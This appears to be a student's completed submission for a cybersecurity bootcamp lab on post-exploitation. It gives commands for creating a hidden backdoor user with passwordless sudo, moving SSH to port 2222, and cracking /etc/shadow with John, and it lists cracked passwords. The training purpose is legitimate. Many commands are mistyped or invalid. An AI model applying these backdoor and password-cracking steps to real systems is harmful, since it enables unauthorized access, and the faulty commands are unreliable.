



Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
Useradd -u 69 sysd -MG sudo
```

2. Give your secret user a password.

```
Passwd sysd We11t@ttc
```

3. Give your secret user a system UID < 1000.

```
Useradd -u 69 sysd -MG sudop
```

4. Give your secret user the same GID.

```
Groupmod -g 69 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
Sudo visudo and then sysd All=(ALL) NOPASSWD=ALL
```

6. Test that `sudo` access works without your password.

```
Sudo cat shadow
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
Sudo nano /etc/ssh/sshd_config | port2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
Sudo systemctl restart ssh.service
```

2. Exit the `root` account.

```
exit
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
Ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

```
Sudo su
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
Whoami | ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
John /ect/shadow
```

```
Computer stallman  
Freedom babbage  
Trustno1 mitnik  
etc...
```